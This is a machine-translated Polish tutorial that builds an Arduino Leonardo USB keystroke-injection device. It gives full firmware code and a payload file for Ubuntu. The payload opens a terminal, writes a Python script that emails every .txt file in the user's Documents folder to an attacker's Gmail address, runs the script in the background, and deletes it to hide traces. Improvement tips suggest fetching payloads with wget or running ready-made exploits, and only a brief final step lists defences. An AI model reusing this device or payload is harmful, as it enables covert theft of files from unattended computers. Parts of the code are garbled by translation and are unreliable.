Spisu treści:

Demonstracja wykorzystania klawiatury Arduino (HID) i zapobieganie: 4 kroki (ze zdjęciami)
Demonstracja wykorzystania klawiatury Arduino (HID) i zapobieganie: 4 kroki (ze zdjęciami)

Wideo: Demonstracja wykorzystania klawiatury Arduino (HID) i zapobieganie: 4 kroki (ze zdjęciami)

Wideo: Demonstracja wykorzystania klawiatury Arduino (HID) i zapobieganie: 4 kroki (ze zdjęciami)
Wideo: Laboratoria Przyszłości. Mikrokontrolery - łatwe programowanie blokowe. 2024, Listopad
Anonim
Image
Image
Budowanie urządzenia
Budowanie urządzenia

W tym projekcie użyjemy arduino leonardo do symulacji możliwego ataku USB przy użyciu HID (urządzenia interfejsu humain).

Stworzyłem ten samouczek nie po to, aby pomóc hakerom, ale po to, aby pokazać ci prawdziwe niebezpieczeństwa i jak się przed nimi chronić. To urządzenie nie jest urządzeniem, które może być używane na dowolnej platformie dla hakerów, to bardziej szczegółowy dowód koncepcji.

Nauczymy się następujących rzeczy:

- jak używać arduino leonardo do emulacji klawiatury

- jak odczytywać dane z kart SD

- jak stworzyć skrypt Pythona, który skanuje pliki i wysyła do nich e-maile

- jak chronić się przed urządzeniami włamującymi USB

Krok 1: Materiały

Części:

1. Arduino leonardo

2. Czytnik kart micro USB

3. karta SD o pojemności kilku GB

4. przycisk taki jak ten (VCC, masa i sygnał)

5. Kable rozruchowe żeńsko-męskie i żeńsko-żeńskie

6. kabel micro USB na USB

Krok 2: Budowa urządzenia

Budowanie urządzenia
Budowanie urządzenia

Przed instrukcją budowy przyjrzyjmy się zasadzie działania:

Arduino leonardo może zachowywać się jak urządzenie interfejsu ludzkiego (HID) i dlatego może emulować mysz i klawiaturę. Zamierzamy użyć tej funkcji, aby otworzyć terminal (w UBUNTU linux) i napisać mały skrypt, który uzyska dostęp do folderu /Documents w folderze domowym użytkownika, skopiuje tam pliki.txt i wyśle je komuś pocztą e-mail. Jeśli chcesz poznać więcej szczegółów, przejdź do następnego kroku.

Ponieważ jest to urządzenie demonstracyjne, sprawy są naprawdę proste, nie zamierzamy niczego lutować.

Instrukcje budowania

Zanim zaczniemy, sprawdź załączone pliki, załączyłem schematy fritzowania i wszystkie potrzebne pliki

1. Złóż komponenty:

* podłącz kabel micro USB do arduino

* podłącz przełącznik kluczykowy do arduino (masa, vcc i moduł wyjściowy do D8)

* podłącz czytnik kart do arduino (za pomocą nagłówka ICSP). Arduino leonardo nie ma złącza ICSP podłączonego do pinów cyfrowych, więc musisz podłączyć czytnik kart do złącza ICSP. Kilka rysunków ICSP można znaleźć tutaj: https://learn.sparkfun.com/tutorials/installing-an…. Podłącz pin SS do pinu cyfrowego 10

2. pobierz kod arduino, możesz sklonować moje repozytorium arduino na github: https://github.com/danionescu0/arduino i przejdź do projects/keyboard_exploit lub pobierz je poniżej:

#include "Klawiatura.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Polecenie::"; int delayBetweenCommands = 10; const int przyciskPin = 8; const int chipSelect = 10; int previousButtonState = WYSOKA; void setup() { pinMode(buttonPin, INPUT); Serial.początek(9600); Klawiatura.początek(); if (!SD.begin(chipSelect)) { Serial.println("Karta nie powiodła się lub jej nie ma!"); powrót; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Przesłano!"); opóźnienie (500); } previousButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("Podana nazwa pliku nie jest obecna na karcie SD, sprawdź filenameOnCard !"); } Linia ciągów; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(wiersz); sendToKeyboard(linia); } plik_danych.zamknij(); } void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); powrót; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Tekst:");Serial.println(line); Klawiatura.println(wiersz); naciśnij enter(); powrót; } Serial.println("Polecenie:"); int charPosition = commandStartingPoint.length(); int długość linii = długość.długość(); Linia robocza += ", "; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(", "); Polecenie tekstowe = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (polecenie != "") { Serial.print("Znaleziono polecenie:");Serial.println(polecenie); Keyboard.press(getCommandCode(polecenie)); opóźnienie (opóźnienie między poleceniami); } } Keyboard.releaseAll(); opóźnienie (opóźnienie między poleceniami); } void naciśnijEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Snu dla:");Serial.println(SleepAmount); opóźnienie (kwota snu); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); kod znaku = tekstZnaki[0]; kod = (tekst == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL: kod; kod = (tekst == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT: kod; kod = (tekst == "KEY_LEFT_ALT") ? KEY_LEFT_ALT: kod; kod = (tekst == "KEY_UP_ARROW") ? KEY_UP_ARROW: kod; kod = (tekst == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW: kod; kod = (tekst == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW: kod; kod = (tekst == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW: kod; kod = (tekst == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI: kod; kod = (tekst == "KEY_BACKSPACE") ? KEY_BACKSPACE: kod; kod = (tekst == "KEY_TAB") ? KEY_TAB: kod; kod = (tekst == "KEY_RETURN") ? KEY_RETURN: kod; kod = (tekst == "KEY_ESC") ? KEY_ESC: kod; kod = (tekst == "KEY_INSERT") ? KEY_INSERT: kod; kod = (tekst == "KEY_DELETE") ? KEY_DELETE: kod; kod = (tekst == "KEY_PAGE_UP") ? KEY_PAGE_UP: kod; kod = (tekst == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN: kod; kod = (tekst == "KEY_HOME") ? KEY_HOME: kod; kod = (tekst == "KEY_END") ? KEY_END: kod; kod = (tekst == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK: kod; kod = (tekst == "KEY_F1") ? KEY_F1: kod; kod = (tekst == "KEY_F2") ? KEY_F2: kod; kod = (tekst == "KEY_F3") ? KEY_F3: kod; kod = (tekst == "KEY_F4") ? KEY_F4: kod; kod = (tekst == "KEY_F5") ? KEY_F5: kod; kod = (tekst == "KEY_F6") ? KEY_F6: kod; kod = (tekst == "KEY_F7") ? KEY_F7: kod; kod = (tekst == "KEY_F8") ? KEY_F8: kod; kod = (tekst == "KEY_F9") ? KEY_F9: kod; kod = (tekst == "KEY_F10") ? KEY_F10: kod; kod = (tekst == "KEY_F11") ? KEY_F1: kod; kod = (tekst == "KEY_F12") ? KEY_F2: kod;

kod powrotu;

}

3. Prześlij kod do arduino, pamiętaj, aby wybrać szybkość transmisji 9600, port szeregowy i arduino leonardo

4. Sformatuj kartę SD za pomocą FAT16 lub FAT32

5. Jeśli sklonowałeś repozytorium github z góry, skopiuj plik hack.txt na kartę, jeśli nie, plik jest wymieniony poniżej:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os.path import expanduser z email. MIMEMultipart import MIMEMultipart z email. MIMEBase import MIMEBase z emaila. MIMEText import MIMEText z e-mail. Utils import COMMASPACE, formatdate z e-mail import Encoders

smtp_user = 'adres_gmail_nadawcy'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenty'

subject = body = 'Pliki z zaatakowanego komputera'

header = 'Do:{0}\nOd: {1}\nTemat: {2}\n'.format(na_adres, smtp_user, temat)

def sendMail(do, temat, tekst, pliki=):

msg = MIMEMultipart() msg['Od'] = smtp_user msg['Do'] = PRZECINEK.join(do) msg['Data'] = formatdate(localtime=True) msg['Temat'] = temat msg.attach (MIMEText(tekst)) dla pliku w plikach: part = MIMEBase('aplikacja', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part. add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

serwer = smtplib. SMTP('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([na_adres], temat, treść, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

Sleep::50 Command::KEY_ESC Sleep::100:x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT, KEY_F4

6. Edytuj następujące wiersze:

smtp_user = 'nadawca_email_addr'

smtp_pass = 'hasło_nadawcy' to_address = 'adres_odbiorcy'

I zastąp swoimi adresami e-mail

7. Wyjmij kartę i włóż ją do czytnika kart arduino

Krok 3: Jak to działa w szczegółach

Jak zadziała atak:

1. Po naciśnięciu przycisku leonardo odczyta kartę SD za pomocą czytnika kart SD. Na karcie będzie znajdować się specjalny plik zawierający klucze i kombinację klawiszy. Nazwa pliku to „hack.txt”.

Plik może zawierać surowy tekst i zostanie przekazany na klawiaturę w takiej postaci, w jakiej jest.

Może również zawierać specjalne polecenia, takie jak „Sleep::” i „Command::”.

Linia taka jak:

Sen::200 oznacza sen trwający 200 ms

Linia taka jak:

Polecenie::KEY_LEFT_CTRL, KEY_LEFT_ALT, t oznacza wciśnięty lewy ctrl, wciśnięty lewy alt, wciśnięty t i wszystkie zwolnione

Wszystkie klawisze specjalne możesz sprawdzić tutaj:

2. Leonardo będzie czytał wiersz po wierszu, interpretował polecenia i emulował klawisze na klawiaturze. Plik "hack.txt" zawiera kombinację klawiszy, która wykonuje następujące czynności (dla UBUNTU linux):

a. otwiera terminal (CTRL + ALT + T)

b. otwiera plik Pythona do tworzenia za pomocą vi (zapisuje "vi hack.py"

C. pisze wewnątrz skrypt Pythona, który zbiera wszystkie pliki tekstowe w folderze domowym dokumentów i wysyła je na określony adres gmail

D. uruchamia plik w tle ("nohup python hack.py &")

mi. usuwa plik (rm -rf hack.py)

F. zamyka terminal (ALT+F4)

Całość przebiega w kilka sekund i nie pozostawia śladów.

Ulepszenia i rozwiązywanie problemów

* Możesz zauważyć, że po otwarciu terminala piszę plik Pythona. lepszym sposobem na to będzie umieszczenie go gdzieś i pobranie za pomocą polecenia "wget some_url", a następnie zmiana nazwy na hack.py

* Możemy również pobrać lub uruchomić gotowy exploit dla docelowego systemu operacyjnego

* do modułu można dodać wifi, a hacki można wgrać przez WIFI

* możesz użyć arduino micro (który jest znacznie mniejszy) i osadzić na nim kod exploita (aby go zmniejszyć)

Ograniczenia

1. Ponieważ symulowane urządzenie (klawiatura i mysz) nie ma żadnych informacji zwrotnych, nie wiemy, co się stanie po wydaniu polecenia, co oznacza, że musimy użyć opóźnień. Na przykład wydaję polecenie otwarcia terminala, ale nie wiem, kiedy będzie on faktycznie otwarty, więc muszę określić arbitralne opóźnienie, aby upewnić się, że znaki wpisane po nie zostaną utracone.

2. Możemy napotkać problemy z uprawnieniami, takie jak brak dostępu do portu USB lub uprawnienia do zainstalowania czegoś

3. Szybkość pisania na leonardo nie jest zbyt dobra

4. Będzie działać tylko na docelowym systemie operacyjnym (w naszym przypadku UBUNTU linux)

W następnym kroku spróbujemy znaleźć sposoby na wykorzystanie tych ograniczeń, aby zapobiec włamaniu się do naszego komputera

Krok 4: Środki zaradcze

1. Wyłączanie portów USB

- dla Windows możesz sprawdzić ten samouczek:

2. Lista urządzeń USB na białej liście:

- dla okien:

2. Zablokuj komputer, gdy Cię nie ma

3. Nie loguj się jako root (wymagaj haseł do instalacji czegokolwiek)

4. Bądź na bieżąco (włączone automatyczne aktualizacje)

Zalecana: